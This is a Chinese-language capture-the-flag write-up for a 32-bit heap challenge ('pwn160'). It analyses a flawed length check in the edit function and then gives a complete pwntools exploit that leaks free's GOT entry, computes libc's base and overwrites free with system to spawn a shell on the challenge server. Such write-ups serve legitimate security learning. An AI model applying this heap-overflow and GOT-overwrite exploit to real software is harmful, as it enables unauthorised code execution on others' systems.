checksec:
32位 有canary和pie
IDA32打开: 对对应堆函数名修改一下:
先看第一个add:
申请了两个堆,其中第一个是输入的大小,第二个是0x80的大小
13-16行指出,第二个堆的前4字节存第一个字节的堆指针 剩下的0x7C字节存name
edit函数:
有一个对读取长度的检查 : *dword_804B080[a1] + v2 >= (dword_804B080[a1] - 4)
dword_804B080是位于bss段上的堆指针
这段的检查意图是:输入字符数需 小于等于 申请的第一个堆的data位置到第二个chunk的presize位前
那么如果让这申请的第一个堆和第二个堆之间再间隔一些chunk 就能实现堆溢出了
del函数:
只对创建两个chunk的第二个chunk堆指针置0了
show:
普通的打印两个堆内容
综上,发现在add及edit处存在堆溢出漏洞
思路是先让两个堆之间有堆溢出的间隔,然后对之间的堆进行修改,得到flag
利用堆溢出先打印出free的got表,再计算libc基址得到system地址 最后将有free got表的堆改为system 并释放有binsh的堆 就能得到flag
exp:
from pwn import *
#p = process('./pwn160')
p = remote("pwn.challenge.ctf.show", 28309)
def add(size1, size2, message2):
p.sendlineafter(b"Action: ", b'0')
p.sendlineafter(b'size of description: ', str(size1))
p.sendlineafter(b'name: ' , b'NAME')
p.sendlineafter(b'text length: ', str(size2))
p.sendlineafter(b'text: ' , message2)
def delete(index):
p.sendlineafter(b'Action: ' , b'1')
p.sendlineafter(b'index: ' , str(index))
def edit(index,size, message):
p.sendlineafter(b'Action: ' , b'3')
p.sendlineafter(b'index: ' , str(index))
p.sendlineafter(b'text length: ', str(size))
p.sendlineafter(b'text: ' , message)
def show(index):
p.sendlineafter(b'Action: ' , b'2')
p.sendlineafter(b'index: ' , str(index))
elf = ELF('./pwn160')
libc = ELF('./libc-2.23.so')
add(0x80, 0x80, b'AAA')
add(0x80, 0x80, b'BBB')
add(0x8, 0x8, b'/bin/sh\x00')
delete(0)
payload = b'a' * (0x198) + p32(elf.got['free'])
add(0x100, 0x19c, payload)
show(1)
p.recvuntil(b'description: ')
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.sym['free']
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
edit(1, 0x4, p32(system_addr))
delete(2)
p.interactive()